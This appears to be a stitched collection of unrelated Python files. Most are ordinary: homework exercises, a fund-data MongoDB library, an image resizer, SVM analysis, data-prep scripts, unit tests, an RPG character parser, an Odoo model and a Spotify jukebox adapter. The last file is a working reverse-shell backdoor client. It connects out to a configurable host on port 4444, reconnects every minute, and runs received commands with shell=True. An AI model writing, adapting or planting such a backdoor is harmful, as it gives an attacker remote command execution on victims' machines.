            print("PLAYER WIN!".format(machine_choice))

        else:
            machine_win_count += 1
            print("MACHINE WIN!".format(machine_choice))

        player_moves.append(player_choice)

    else:
        print("INVALID ENTRY!")

    sleep(0.5)

    if player_win_count > 0 or machine_win_count > 0:
        win_percent = player_win_count / \
            (player_win_count + machine_win_count) * 100

    print("\nPlayer: {}\tMachine: {}\nWin % = {}\n"
          .format(player_win_count, machine_win_count, round(win_percent, 2)))


'''
                                    ** Homework-2 **
Question: Write a program that includes information about the grades of 5 students in a school.
            - Keep these student's grades in a list.
            - Keep student's name in a list.
            - Create a dictionary named info and put all the information of students in a dictionary.
            - Sort and list the student's grades here in descending order and congratulate the student with the highest score.

Coded By: Yasin BİRCAN
Date:     20.02.2021
'''
import operator
namelist=[]
totalgradelist=[]
#info = {}
for i in range(5):
    a=i+1
    a=str(a)
    namelist.append(input(a+". Öğrencinin adını ve soyadını yazınız: "))
#print (namelist)
for j in range(5):
    for k in range(3):
        c=k+1
        c=str(c)
        grade = int(input(namelist[j] + " adlı öğrencinin " + c + ". notunu giriniz:"))
        #grade = int(grade)
        totalgradelist.append(grade)
#print(totalgradelist)
grade1 = float((totalgradelist[0]+totalgradelist[1]+totalgradelist[2]) / 3)
grade2 = float((totalgradelist[3]+totalgradelist[4]+totalgradelist[5]) / 3)
grade3 = float((totalgradelist[6]+totalgradelist[7]+totalgradelist[8]) / 3)
grade4 = float((totalgradelist[9]+totalgradelist[10]+totalgradelist[11]) / 3)
grade5 = float((totalgradelist[12]+totalgradelist[13]+totalgradelist[14]) / 3)
avggradelist=[grade1, grade2, grade3, grade4, grade5]
#print(avggradelist)

info = {avggradelist[0] : namelist[0],
        avggradelist[1] : namelist[1],
        avggradelist[2] : namelist[2],
        avggradelist[3] : namelist[3],
        avggradelist[4] : namelist[4],}

sortedvalues=sorted(info.items(),reverse=True,key=operator.itemgetter(0))
sortedinfo = {key: value for (key, value) in sortedvalues}
print(sortedinfo)
avggradelist.sort()
#print(avggradelist[4])
print("Tebrikler! : " + info[avggradelist[4]])


# -*- coding: utf-8 -*-
"""
Created on Wed Mar  2 11:42:05 2016
library for getting data out of HFR Mongo DB
@author: Aleksey
"""
import re
from pymongo import MongoClient
from pandas import DataFrame, Series
from datetime import datetime
import pandas as pd
from numpy import array,cumsum
from sklearn.decomposition import pca
import matplotlib.pyplot as plt
from pandas import DataFrame
import json

def getdate(dtarr):
    y,d,m = dtarr[0:6:2]
    return datetime(y,m,d)

parse_date = lambda s: datetime.strptime(s,"%m/%d/%Y")
class Fund:
    """
        represent simplified fund object
    """
    def __init__(self, data):
        self.__dict__ = data
        self.ts = None

    def time_series(self):
        if (self.ts):
            return self.ts

        if self.Performance:
            df = DataFrame(self.Performance)
            rawdates = df['Date']
            dates = [getdate(d) for d in rawdates]
            values= df['Return']
            ts = Series(data=values.values,index=dates,name="H"+self.Fund_ID)
            return ts

    def T(self):
        return len(self.Performance)

    def get_fingerprint_ts(self):
        keys = [parse_date(k) for k in self.keydates.keys()]

        vals = [v for v in self.keydates.values()]
        return DataFrame(data=vals,index=keys,columns=[str(self.Fund_ID)])

    def __repr__(self):
        return json.dumps({
            'Name':self.Fund,
            'Id':self.Fund_ID,
            'Strategy':self.Main_Strategy

        })

class HFRData:
    """
        connection data for HFR Data in Mongo
    """
    def __init__(self):
        mc = MongoClient()
        self.db = mc.get_database("hfr")

    def get_name_filter(self,name):
        return {"Fund":{"$regex":name}}

    def search_by_filter(self,filter):
        return self.db.funds.find(filter)

    def search_by_name(self,name):
        filter = self.get_name_filter(name)
        return self.search_by_filter(filter)

    def search_funds(self,filter):
        data = self.search_by_filter(filter)
        return [Fund(x) for x in data]

    def search_by_strategy(self,strat,as_fund=False):
        filter   = {"Main_Strategy":{"$regex":strat}}
        data = self.search_by_filter(filter)
        if as_fund:
            return [Fund(x) for x in data]
        else:
            return [x for x in data]

    def update_fund(self,fund):
        key = {"_id": fund._id}
        self.db.funds.update(key,fund.__dict__)

    def get_dispersions(self):
        cursor = self.db.dispersions.find()
        return DataFrame([d for d in cursor])

    def get_all_funds(self):
        cursor = self.db.funds.find()
        return [Fund(f) for f in cursor]

def calc_fingerprint(fund, keydates):
    """
        calculate index fingerprint
    """
    ts = fund.time_series()
    ts_subset = ts[keydates]
    ts_subset.sort_values(inplace=True)
    dates_sorted = ts_subset.index.date
    fp = dict([(d.strftime("%m/%d/%Y"),i) for (i,d) in enumerate(dates_sorted)])
    return fp

def calc_pca():
    hfr = HFRData()
    funds = array(hfr.search_funds(hfr.get_name_filter("HFRI")))
    Ts = array([f.T() for f in funds])
    idx = Ts >= 120
    funds = funds[idx]
    tsall = [f.time_series() for f in funds]
    tsmerged = pd.concat(tsall,axis=1,join='inner')
    tsmerged.to_csv("/users/aleksey/Desktop/tsall.csv")
    X = tsmerged.values
    pc = pca.PCA()
    pc.fit(Xts)
    eivalspct = pc.explained_variance_ratio_
    eivecs = pc.components_
    names = [f.Fund for f in funds]
    eivecdf = DataFrame(eivecs,columns=names)
    eivecdf.to_csv("/users/aleksey/Documents/hfr/hfr_pca.csv")
    Xt = pc.transform(X)

def calculate_key_dates():
    hfr = HFRData()
    disp = hfr.get_dispersions()
    disp.sort_values(by=["Dispersion"],ascending=False,inplace=True)

    dtkey = lambda d,i : {"Index":i,"Date":d}
    T = len(disp)

    topdates = [disp["Date"].iloc[i] for i in range(25)]
    keydates = [dtkey(d,i) for i,d in enumerate(topdates)]
    hfr.db.keydates.insert_many(keydates)

def calc_index_fp():
    hfr = HFRData()
    funds = [Fund(x) for x in hfr.search_by_name("HFRI")]
    dates = [d['Date'] for d in hfr.db.keydates.find()]
    fps = [calc_fingerprint(f,dates) for f in funds]
    for p,f in zip(fps,funds):
        f.fingerprint = []
        f.keydates = p
        hfr.update_fund(f)

def calculate_funds_fp():
    hfr = HFRData()
    allfunds = hfr.get_all_funds()
    dates = [d['Date'] for d in hfr.db.keydates.find()]
    fps = [calc_fingerprint(f,dates) for f in allfunds]
    for p,f in zip(fps,allfunds):

        print (f.Fund)
        f.keydates = p
        hfr.update_fund(f)

def calccorr(a,b):
    regdata = pd.concat([a,b],axis=1)
    cr = regdata.corr(method='spearman').values
    return cr[0,1]

def findmax(arr):
    mx = max(arr)
    idx = [i for (i,m) in enumerate(arr) if m == mx][0]
    print(idx,mx)
    return (idx,mx)

def calc_corrs(ts,bts):
    corrs = [calccorr(ts,b) for b in bts]

    return findmax(corrs)

if __name__ == '__main__':

    hfr = HFRData()
    allfunds = hfr.get_all_funds()
    indexes = [f for f in allfunds if 'HFRI' in f.Fund]
    fund_ts = [f.get_fingerprint_ts() for f in allfunds]
    bench_ts = [f.get_fingerprint_ts() for f in indexes]
    all_bench_ts = pd.concat(bench_ts,axis=1)

    best_cr = [calc_corrs(ts, bench_ts) for ts in fund_ts]


import argparse
import os

from PIL import Image

def image_argparser():
    parser = argparse.ArgumentParser(description='Resize some images.')
    parser.add_argument("image_path", help="Path to image you want to resize")
    parser.add_argument("--width", type=int, help="Width of resulting image")
    parser.add_argument("--height", type=int, help="Height of resulting image")
    parser.add_argument("--scale", type=float,
                        help="How much to scale resulting image")
    parser.add_argument("--output", help="Path to resulting image")
    return parser.parse_args()

def get_image(filepath):
    if not os.path.exists(filepath):
        return None
    return Image.open(filepath)

def save_image(image, filepath):
    try:
        image.save(filepath)
    except IOError:
        print("cannot save to disk", filepath)

def set_path_to_result(path_to_original, resulting_size):
    path_without_name, original_name = os.path.split(
        path_to_original)
    original_name_without_extension, extension = os.path.splitext(
        original_name)
    resulting_name = ''.join([original_name_without_extension, '__',
                              str(resulting_size[0]), 'x',
                              str(resulting_size[1]), extension])
    return os.path.join(path_without_name, resulting_name)

def print_ratio_if_incorrect(original_size, resulting_size):
    original_ratio = original_size[0]/original_size[1]
    resulting_ratio = resulting_size[0]/resulting_size[1]
    if original_ratio != resulting_ratio:
        message = "Original ratio {} isn't equal to resulting ratio {}".format(
            original_ratio, resulting_ratio)
        print(message)

def resize_image_with_both_sizes(original_image, resulting_size):
    return original_image.resize(resulting_size)

def resize_image_with_one_size(original_image, resulting_size):
    if resulting_size[0] is not None:
        resulting_height = (resulting_size[0]*original_image.size[1] /
                            original_image.size[0])
        resulting_size = (resulting_size[0], resulting_height)
    else:
        resulting_width = (resulting_size[1] * original_image.size[0] /
                           original_image.size[1])
        resulting_size = resulting_width, resulting_size[1]
    original_image.thumbnail(resulting_size)
    return original_image

def resize_image_scale(original_image, scale):
    resulting_size = (int(original_image.size[0]*scale),
                      int(original_image.size[1]*scale))
    if scale < 1:
        original_image.thumbnail(resulting_size)
        return original_image
    else:
        return original_image.resize(resulting_size)

def resize_image(path_to_original, resulting_size, scale, path_to_result):
    original_image = get_image(path_to_original)
    if (resulting_size[0] and resulting_size[1]) is not None:
        print_ratio_if_incorrect(original_image.size, resulting_size)
        resulting_image = resize_image_with_both_sizes(
            original_image, resulting_size)
    elif (resulting_size[0] or resulting_size[1]) is not None:
        resulting_image = resize_image_with_one_size(original_image,
                                                     resulting_size)
    elif scale is not None:
        resulting_image = resize_image_scale(original_image, scale)
    else:
        resulting_image = original_image
    if path_to_result is None:
        path_to_result = set_path_to_result(path_to_original,
                                            resulting_image.size)
    save_image(resulting_image, path_to_result)

if __name__ == '__main__':
    console_arguments = image_argparser()
    if not (console_arguments.scale and (console_arguments.width or
                                         console_arguments.height)):
        resulting_size = (console_arguments.width, console_arguments.height)
        resize_image(console_arguments.image_path, resulting_size,
                     console_arguments.scale, console_arguments.output)
        print('Image resized!')
    else:
        print('You cannot use size arguments and scale argument together')


import utils
import sys
import classifiers
from matplotlib import pylab as pl
import numpy as np

def clf_symdiff(clf1, clf2):
    sv_set1 = set(clf1.support_)
    sv_set2 = set(clf2.support_)
    return len(sv_set1 ^ sv_set2)

def clf_symdiff_normalized(clf1, clf2):
    sv_set1 = set(clf1.support_)
    sv_set2 = set(clf2.support_)
    return len(sv_set1 ^ sv_set2) / len(sv_set1 | sv_set2)

def clf_new(clf1, clf2):
    sv_set1 = set(clf1.support_)
    sv_set2 = set(clf2.support_)

CLF_DIFF_TYPES = {
    "sn": ("SV normalized symmetric difference", clf_symdiff_normalized),
    "s": ("SV symmetric difference", clf_symdiff)
}
def margin_cov_pic(margins, clfs, C, fig, diff_type = "sn"):
    diff = CLF_DIFF_TYPES[diff_type][1]
    clfs_num = len(clfs)
    covs_num = round(clfs_num * (clfs_num - 1) / 2)
    covs = np.zeros(covs_num)
    difs = np.zeros(covs_num)
    idx = 0
    for i in range(clfs_num):
        for j in range(i + 1, clfs_num):
            covs[idx] = np.corrcoef(margins[:, i], margins[:, j])[0, 1]
            difs[idx] = diff(clfs[i], clfs[j])
            idx += 1
    fig.scatter(difs, 1 - covs, marker='o', s=90, label="C = %f" % C, c=np.random.rand(3,1))

def spec_repr(spec):
    ret = "Kernel type: "
    if spec[0] == "linear":
        return ret + "linear"
    if spec[0] == "rbf":
        return ret + "rbf, gamma = %f" % spec[1]
    if spec[0] == "poly":
        return ret + "poly, degree = %d" % spec[1]
    if spec[0] == "ink":
        return ret + "ink, degree = %d, downer limit (a) = %f" % (spec[1], spec[2])

def print_kernel_info(C, clfs, specs, margins):
    print("C = %f" % C)
    for idx, clf in enumerate(clfs):
        print("%s\nSV number = %d" % (spec_repr(specs[idx]), clf.n_support_[0] + clf.n_support_[1]))
    print("")

def draw_corr_diff(dataset_name, C_list=[1.0], diff_type = "sn"):
    data = utils.get_data()
    dataset = data[dataset_name]
    print(dataset_name)
    print(dataset[0].shape)
    specs = utils.get_classifier_specs()
    fig = pl.figure(figsize=(8, 6), dpi=150)
    ax1 = fig.add_subplot(111)
    for C in C_list:
        clfs = classifiers.get(specs, C=C)
        utils.train_clfs(clfs, dataset[0], dataset[1])
        margins = utils.get_margins(clfs, dataset[0])
        print_kernel_info(C, clfs, specs, margins)
        margin_cov_pic(margins, clfs, C, ax1, diff_type=diff_type)
    pl.legend(loc='upper left')
    pl.xlabel(CLF_DIFF_TYPES[diff_type][0])
    pl.ylabel("Margin vectors correlation")
    pl.show()

def main(argv):
    draw_corr_diff("heart", [1])

if __name__ == "__main__":
    sys.exit(main(sys.argv))


#-*- coding:utf-8 -*-

import argparse
import os
import random
import sys

def read_data(f_lbl0,f_lbl1):
    temp_lst = []

    with open(f_lbl0,'r',errors = 'ignore') as inf:
        for line in inf.readlines():
            line = str(line.strip())
            line = line + '\t' + '0'
            temp_lst.append(line)

    with open(f_lbl1,'r',errors = 'ignore') as inf:
        for line in inf.readlines():
            line = line.strip() + '\t' + '1'
            temp_lst.append(line)

    random.shuffle(temp_lst)
    return temp_lst

def write_data(f_lbl0,f_lbl1,odir,split):

    temp_lst = read_data(f_lbl0,f_lbl1)

    train_data = temp_lst[:split[0]]
    dev_data = temp_lst[split[0]:split[1]]
    test_data = temp_lst[split[1]:]
    head = 'sentence\tlabel'
    train_data.insert(0,head)
    dev_data.insert(0,head)
    test_data.insert(0,head)

    name = ['train.tsv','dev.tsv','test.tsv']
    val = ['train_data','dev_data','test_data']

    for i,n in enumerate(name):
        with open(odir+n,'w') as f:
            for line in eval(val[i]):
                line = line + '\n'
                f.write(str(line))

if __name__ == "__main__":

    random.seed(1)
    split = [8635,9595]
    file0 = '/home/juncsu/Code/Data/CapsData/mr-2005/originalData/rt-polarity.neg'
    file1 = '/home/juncsu/Code/Data/CapsData/mr-2005/originalData/rt-polarity.pos'
    odir = '/home/juncsu/Code/Data/CapsData/mr-2005/'

    write_data(file0,file1,odir,split)


import csv, json

position = []

with open("position.csv", "r") as infile:
	reader = csv.reader(infile, delimiter=",")
	next(reader)
	for row in reader:
		position.append({"x": float(row[0]), "y":float(row[1])})

for row in position:
	print (row)

with open("position.json", "w") as outfile:
	json.dump(position, outfile)


import unittest
from unittest import TestCase
from urllib import request, parse

from teamcity import is_running_under_teamcity
from teamcity.unittestpy import TeamcityTestRunner

class TestVerifications(TestCase):
    def test_insert_when_name_has_number_a_error_appears(self):
        data = parse.urlencode({
            'inputId': '1',
            'inputName': 'name2',
            'inputLastname': 'last_name',
            'inputBirthday': '1994-12-10'
        }).encode()
        html = request.urlopen('http://localhost:6543/add_person', data).read().decode('utf-8')
        self.assertIn('errors_div', html)

if __name__ == '__main__':
    if is_running_under_teamcity():
        runner = TeamcityTestRunner()
    else:
        runner = unittest.TextTestRunner()
    unittest.main(testRunner=runner)


# Сортировка выборкой
#
# Cуть алгоритма заключается в проходе по массиву
# От начала до конца в поиске минимального (или максимального)
# Элемента массива и перемещении его в начало (или конец)
#
massive = [4, 3, 2, -5, 3, 8, 32, 54, 83, -23, 43]
max_elem = 0
while max_elem < len(massive) - 1:
    min_elem = max_elem
    i = max_elem + 1
    while i < len(massive):
        if massive[i] < massive[min_elem]:
            min_elem = i
        i += 1
    massive[max_elem], massive[min_elem] = massive[min_elem], massive[max_elem]
    max_elem += 1

print(massive)

# Сложность данной сортировки тоже O(N**2)
# Два цикла, оба в худшем случае проходят n инетраций
# А это значит, что сложность сортировки n*n, то есть n в кввадрате


"""
Parse character files into Character objects

The main entry point is get_characters, which creates a list of characters. To
parse a single file, use parse_character instead.
"""

import re
import itertools
from os import path, walk
from .character import Character

VALID_EXTENSIONS = ('.nwod', '.dnd3', '.dfrpg')
"""tuple: file extensions that should be parsed"""

SECTION_RE = re.compile(r'^--.+--\s*$')
TAG_RE = re.compile(r'^@(?P<tag>#\w+|\w+)\s+(?P<value>.*)$')

def get_characters(search_paths=None, ignore_paths=None):
    """
    Get data from character files

    Normalizes the ignore paths with os.path.normpath.

    Args:
        search_paths (list): Paths to search for character files
        ignore_paths (list): Paths to exclude from the search

    Returns:
        List of Characters generated from every parseable character file within
        every path of search_paths, but not in ignore_paths.
    """
    if search_paths is None:
        search_paths = ['.']

    if ignore_paths:
        ignore_paths[:] = [path.normpath(d) for d in ignore_paths]

    return itertools.chain.from_iterable((_parse_path(path, ignore_paths) for path in search_paths))

def _parse_path(start_path, ignore_paths=None, include_bare=False):
    """
    Parse all the character files under a directory

    Args:
        start_path (str): Path to search
        ignore_paths (list): Paths to exclude. Assumed to be normalized, as from
            os.path.normpath.
        include_bare (bool): Whether to attempt to parse files without an
            extension in addition to recognized files.

    Returns:
        List of Characters generated from every parseable character file within
        start_path, but not in ignore_paths.
    """
    if path.isfile(start_path):
        return [parse_character(start_path)]
    if ignore_paths is None:
        ignore_paths = []

    characters = []
    for dirpath, _, files in _walk_ignore(start_path, ignore_paths):
        for name in files:
            target_path = path.join(dirpath, name)
            if target_path in ignore_paths:
                # skip ignored files
                continue
            _, ext = path.splitext(name)
            if ext in VALID_EXTENSIONS or (include_bare and not ext):
                data = parse_character(target_path)
                characters.append(data)
    return characters

def _walk_ignore(root, ignore):
    """
    Recursively traverse a directory tree while ignoring certain paths.

    Args:
        root (str): Directory to start at
        ignore (list): Paths to skip over

    Yields:
        A tuple (path, [dirs], [files]) as from `os.walk`.
    """
    def should_search(base, check):
        """
        Determine whether a path should be searched

        Only skips this path if it, or its parent, is explicitly in the `ignore`
        list.

        Args:
            base (str): Parent path
            check (str): The path to check

        Returns:
            True if d should be searched, false if it should be ignored
        """
        return base not in ignore \
            and path.join(base, check) not in ignore

    for dirpath, dirnames, filenames in walk(root, followlinks=True):
        dirnames[:] = [d for d in dirnames if should_search(dirpath, d)]
        yield dirpath, dirnames, filenames

def parse_character(char_file_path: str) -> Character:
    """
    Parse a single character file

    Args:
        char_file_path (str): Path to the character file to parse

    Returns:
        Character object. Most keys store a list of values from the character.
        The `description` key stores a simple string, and the `rank` key stores
        a dict of list entries. Those keys are individual group names.
    """

    # derive character name from basename
    basename = path.basename(char_file_path)
    name = path.splitext(basename)[0].split(' - ', 1)[0]

    # instantiate new character
    parsed_char = Character(
        name=[name],
        path=char_file_path
    )

    with open(char_file_path, 'r') as char_file:
        last_group = ''
        previous_line_empty = False

        for line in char_file:
            # stop processing once we see game stats
            if SECTION_RE.match(line):
                break

            match = TAG_RE.match(line)
            if match:
                tag = match.group('tag').lower()
                value = match.group('value')

                # skip comment tags
                if tag[0] == '#':
                    continue

                # handle compound tags
                if tag == 'changeling':
                    # grab attributes from compound tag
                    bits = value.split(maxsplit=1)
                    parsed_char.append('type', 'Changeling')
                    if len(bits):
                        parsed_char.append('seeming', bits[0])
                    if len(bits) > 1:
                        parsed_char.append('kith', bits[1])
                    continue
                elif tag == 'werewolf':
                    parsed_char.append('type', 'Werewolf')
                    parsed_char.append('auspice', value)

                # replace first name
                if tag == 'realname':
                    parsed_char['name'][0] = value
                    continue

                # handle rank logic for group tags
                if tag in Character.GROUP_TAGS:
                    last_group = value
                if tag == 'rank':
                    if last_group:
                        parsed_char.append_rank(last_group, value)
                    continue
            else:
                # don't add double newlines to the description text
                if line == "\n":
                    if previous_line_empty:
                        continue
                    else:
                        previous_line_empty = True
                else:
                    previous_line_empty = False

                # all remaining text goes in the description
                parsed_char.append('description', line)
                continue

            parsed_char.append(tag, value)

    # clean up leading and trailing whitespace
    parsed_char['description'] = parsed_char['description'].strip()
    return parsed_char


"""
Unit tests for resdk/resolwe.py file.
"""
# pylint: disable=missing-docstring, protected-access

import os
import unittest
import six

from mock import patch, MagicMock
import requests

from resdk.resolwe import Resolwe, ResAuth
from resdk.tests.mocks.data import PROCESS_SAMPLE

if six.PY2:
    # pylint: disable=deprecated-method
    unittest.TestCase.assertRegex = unittest.TestCase.assertRegexpMatches

class TestResolweProcesses(unittest.TestCase):

    @patch('resdk.resolwe.Resolwe', spec=True)
    def test_process_without_name(self, resolwe_mock):
        resolwe_mock.api = MagicMock()
        resolwe_mock.api.process.get = MagicMock(return_value=PROCESS_SAMPLE)

        resolwe = Resolwe.processes(resolwe_mock)

        self.assertIsInstance(resolwe, list)
        self.assertEqual(len(resolwe), 4)
        self.assertIsInstance(resolwe[0], dict)
        self.assertEqual(resolwe[0]['name'], 'Upload NGS reads')
        self.assertEqual(len(resolwe_mock.api.mock_calls), 1)

    @patch('resdk.resolwe.Resolwe', spec=True)
    def test_process_with_process_name(self, resolwe_mock):
        resolwe_mock.api = MagicMock()
        resolwe_mock.api.process.get = MagicMock(return_value=PROCESS_SAMPLE)

        resolwe = Resolwe.processes(resolwe_mock, 'Variant filtering (Chemical Mutagenesis)')

        self.assertIsInstance(resolwe, list)
        self.assertEqual(len(resolwe), 1)
        self.assertIsInstance(resolwe[0], dict)
        self.assertEqual(resolwe[0]['name'], 'Variant filtering (Chemical Mutagenesis)')
        self.assertEqual(len(resolwe_mock.api.mock_calls), 1)

class TestResolwePrintUploadProcesses(unittest.TestCase):

    @patch('resdk.resolwe.sys', spec=True)
    @patch('resdk.resolwe.Resolwe', spec=True)
    def test_print_upload_processes(self, resolwe_mock, sys_mock):

        # Check output is correct
        resolwe_mock.processes.return_value = PROCESS_SAMPLE
        sys_mock.stdout.write = MagicMock()
        Resolwe.print_upload_processes(resolwe_mock)
        sys_mock.stdout.write.assert_called_with('Upload NGS reads\n')

class TestResolwePrintProcessInputs(unittest.TestCase):

    @patch('resdk.resolwe.sys', spec=True)
    @patch('resdk.resolwe.Resolwe', spec=True)
    def test_print_process_inpts(self, resolwe_mock, sys_mock):

        # Bad processor name:
        resolwe_mock.processes.return_value = []
        with self.assertRaises(Exception) as exc:
            Resolwe.print_process_inputs(resolwe_mock, 'Bad processor name')
        self.assertRegex(exc.exception.args[0], r"Invalid process name: .*.")  # pylint: disable=deprecated-method

        # Check output is correct
        resolwe_mock.processes.return_value = PROCESS_SAMPLE
        sys_mock.stdout.write = MagicMock()
        Resolwe.print_process_inputs(resolwe_mock, 'Upload NGS reads')
        sys_mock.stdout.write.assert_called_with('src -> basic:file:\n')

class TestResolweUploadFile(unittest.TestCase):

    @patch('resdk.resolwe.requests')
    @patch('resdk.resolwe.sys')
    @patch('resdk.resolwe.Resolwe', spec=True)
    def test_upload_file(self, resolwe_mock, sys_mock, requests_mock):
        # Example file:
        fn = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'files', 'example.fastq')

        resolwe_mock.url = 'http://some/url'

        resolwe_mock.auth = MagicMock()
        # Supress upload progress messages:
        sys_mock.sys.stdout.write = MagicMock()
        sys_mock.sys.stdout.flush = MagicMock()

        # Immitate response form server - always status 200
        requests_response = {'files': [{'temp': 'fake_name'}]}
        requests_mock.post.return_value = MagicMock(status_code=200, **{'json.return_value': requests_response})
        resolwe = Resolwe._upload_file(resolwe_mock, fn)
        self.assertEqual(resolwe, 'fake_name')

        # Immitate response form server - always status 400
        requests_mock.post.return_value = MagicMock(status_code=400)
        resolwe = Resolwe._upload_file(resolwe_mock, fn)
        self.assertIsNone(resolwe)

        # Immitate response form server - one status 400, but other 200
        requests_response = {'files': [{'temp': 'fake_name'}]}
        response_ok = MagicMock(status_code=200, **{'json.return_value': requests_response})
        response_fails = MagicMock(status_code=400)
        requests_mock.post.side_effect = [response_ok, response_fails, response_ok, response_ok]
        resolwe = Resolwe._upload_file(resolwe_mock, fn)
        self.assertEqual(resolwe, 'fake_name')

class TestResolweResAuth(unittest.TestCase):

    @patch('resdk.resolwe.requests')
    @patch('resdk.resolwe.ResAuth', spec=True)
    @patch('resdk.resolwe.Resolwe', spec=True)
    def test_res_auth(self, resolwe_mock, auth_mock, requests_mock):

        # Wrong URL:
        requests_mock.post = MagicMock(side_effect=[requests.exceptions.ConnectionError()])
        with self.assertRaises(Exception) as exc:
            ResAuth.__init__(auth_mock, email='a', password='p', url='www.abc.com')
        self.assertRegex(exc.exception.args[0], r"Server not accessible on .*.")  # pylint: disable=deprecated-method

        # Wrong credentials:
        magic_mock1 = MagicMock(status_code=400)
        requests_mock.post = MagicMock(return_value=magic_mock1)
        with self.assertRaises(Exception) as exc:
            ResAuth.__init__(auth_mock, email='a', password='p', url='www.abc.com')
        msg = r'Response HTTP status code .* Invalid credentials?'
        self.assertRegex(exc.exception.args[0], msg)  # pylint: disable=deprecated-method

        # NO CSRF token:
        magic_mock1 = MagicMock(status_code=200, cookies={'sessionid': 42})
        requests_mock.post = MagicMock(return_value=magic_mock1)
        with self.assertRaises(Exception) as exc:
            ResAuth.__init__(auth_mock, email='a', password='p', url='www.abc.com')
        msg = 'Missing sessionid or csrftoken. Invalid credentials?'
        self.assertRegex(exc.exception.args[0], msg)  # pylint: disable=deprecated-method

        # "All good" scenario should be tested in end-to-end tests.

if __name__ == '__main__':
    unittest.main()


# -*- coding: utf-8 -*-
from odoo import api, models

class SaleOrderLine(models.Model):
    _inherit = "sale.order.line"

    @api.multi
    def _prepare_invoice_line(self, qty):
        vals = super(SaleOrderLine, self)._prepare_invoice_line(qty)
        move_ids = self.mapped('procurement_ids').mapped('move_ids').filtered(lambda x:
            not x.location_dest_id.scrap_location
            and x.location_dest_id.usage == 'customer'
            and not x.invoice_line_id).ids
        vals['move_line_ids'] = [(6, 0, move_ids)]
        return vals

    @api.multi
    def invoice_line_create(self, invoice, qty):
        obj = self.mapped('procurement_ids').mapped('move_ids')
        obj = obj.filtered(lambda x: not x.invoice_line_id and x.location_dest_id.usage == 'customer'
                                     and not x.location_dest_id.scrap_location).mapped('picking_id')
        obj.write({'invoice_ids': [(4, invoice)]})
        return super(SaleOrderLine, self).invoice_line_create(invoice, qty)


#!/usr/bin/python3
import sys, os

from sofabase3 import Config, SofaBase, AlexaDevice, xml_to_dict, convert_to_xml
from controllers import JukeboxMusicController, JukeboxEndpointHealth

from jukebox_spotify import sofa_spotify_controller

import concurrent
import json
import asyncio
import aiohttp
import aiofiles
import datetime
import os
import socket
import sys
import datetime
from os.path import isfile, isdir, join

from datetime import datetime
import uuid

import logging
logger = logging.getLogger(__name__)

class SofaJukebox(SofaBase):

    def add_adapter_fields(self):
        Config.add('port', default=443)

    def read_logo_image(self):
        try:
            logofile = open(os.path.join(os.path.dirname(__file__),"spotify_logo.png"), "rb")
            res=logofile.read()
            #logger.info('.. spotify logo: %s' % res[:20])
            return res
        except:
            logger.error('!! Error getting logo', exc_info=True)
        return None

    async def pre_activate(self):
        self.buffer_size=4
        self.waiting_for_status=False
        # Clearly we were pushing in the parent here but need to determine the best way to do so
        self.logo=self.read_logo_image()
        self.cached_art_id=None
        self.cached_art_image=None

        # wait for initial data to populate
        try:
            data = {    "now_playing": { "id": None, "name": None, "art": None, "artist": None, "artist_id": None, "album": None, "url": None, "idle": True,
                        "is_playing": None, "length": 0, "position": 0, "position_time": None },
                        "device": {}, "devices": {} }
            await self.sofa.dataset.ingest( data , mergeReplace=True)
            await self.app.request_update()
        except:
            logger.error('!! error waiting for inital spotify data')

    async def add_sofa_device(self, endpointId, path):
        try:
            nativeObject = self.sofa.dataset.nativeDevices
            device = AlexaDevice(endpointId, "Jukebox", displayCategories=["SPEAKER"], adapter=self)
            device.EndpointHealth = JukeboxEndpointHealth(device=device)
            device.MusicController = JukeboxMusicController(device=device)
            return self.sofa.dataset.add_device(device)
            return None
        except:
            logger.error('Error defining smart device', exc_info=True)
            return None

    async def virtualThumbnail(self, path, client=None, width=None, height=None):

        try:
            if len(path.split('/'))>1:
                return await self.get_art(path.split('/')[0], path.split('/')[1])
            return self.logo
        except:
            logger.error('Couldnt get thumb for %s' % path, exc_info=True)
            #return {'name':playerObject['name'], 'id':playerObject['speaker']['uid'], 'image':""}
        return None

    async def virtualImage(self, path, client=None, width=None, height=None):

        try:
            return await self.get_art(path.split('/')[0], path.split('/')[1])
        except:
            logger.error('Couldnt get image for %s' % path, exc_info=True)
            #return {'name':playerObject['name'], 'id':playerObject['speaker']['uid'], 'image':""}
        return None

    async def get_art(self, endpointId, song_id=None):
        try:
            if song_id=='logo':
                return self.logo

            dev = self.sofa.dataset.nativeDevices

            if self.cached_art_image and self.cached_art_id == dev['now_playing']['id']:
                return self.cached_art_image

            try:
                url=dev['now_playing']['art']
            except:
                return self.logo

            timeout = aiohttp.ClientTimeout(total=10)
            async with aiohttp.ClientSession(timeout=timeout) as client:
                logger.info('.. downloading and caching album art: %s' % url)
                async with client.get(url, timeout=10) as response:
                    result=await response.read()
                    if result:
                        self.cached_art_image=result
                        self.cached_art_id=dev['now_playing']['id']
                        return result

        except concurrent.futures._base.TimeoutError:
            logger.error('.! Attempt to get art from sonos device timed out for %s ' % (url))
        except concurrent.futures._base.CancelledError:
            logger.error('.! Attempt to get art from sonos device cancelled for %s ' % (url))
        except:
            logger.error('!! Couldnt get art for %s' % endpointId, exc_info=True)

        return self.logo

    async def command(self, data):
        try:
            if hasattr(self.spotify_controller, data):
                cmd=getattr(self.spotify_controller, data)
                return await cmd()

        except:
            logger.error('!! error sending spotify command: %s' % data, exc_info=True)

    async def update_data(self, data):
        try:
            changes = await self.sofa.dataset.ingest(data, mergeReplace=True)
        except:
            logger.error('!! error updating spotify data: %s' % data, exc_info=True)
            logger.error('!! %s' % dir(self), exc_info=True)


import socket
from os import chdir, getcwd
import subprocess
from time import sleep

host = 'localhost'                 #Seu servidor DNS.
port = 4444                            #Escolha uma porta que vc abriu em seu modem.

def criaSocket():
    s = socket.socket()
    conecta(s)

def conecta(s):
    try:
        s.connect((host, port))
        chdir('\\')                 #Muda o diretorio atual para a raiz
        recebeComandos(s)

    #Caso nao seja possivel conectar, espera 60 segundos e tenta conectar-se novamente
    except:
        sleep(60)
        conecta(s)

def recebeComandos(s):
    while True:
        try:
            cmd = s.recv(1024)

            #Comando para mudar o diretorio
            if cmd[:2] == 'cd':
                try:
                    chdir(cmd[3:])
                    diretorio = getcwd()
                    s.send(diretorio)
                except:
                    s.send("[-] Diretorio inexistente.")

            #Execucoes de comando shell
            else:
                proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                                        stderr=subprocess.PIPE)
                resposta = proc.stdout.read() + proc.stderr.read()
                if len(resposta) > 0:
                    s.send(resposta)

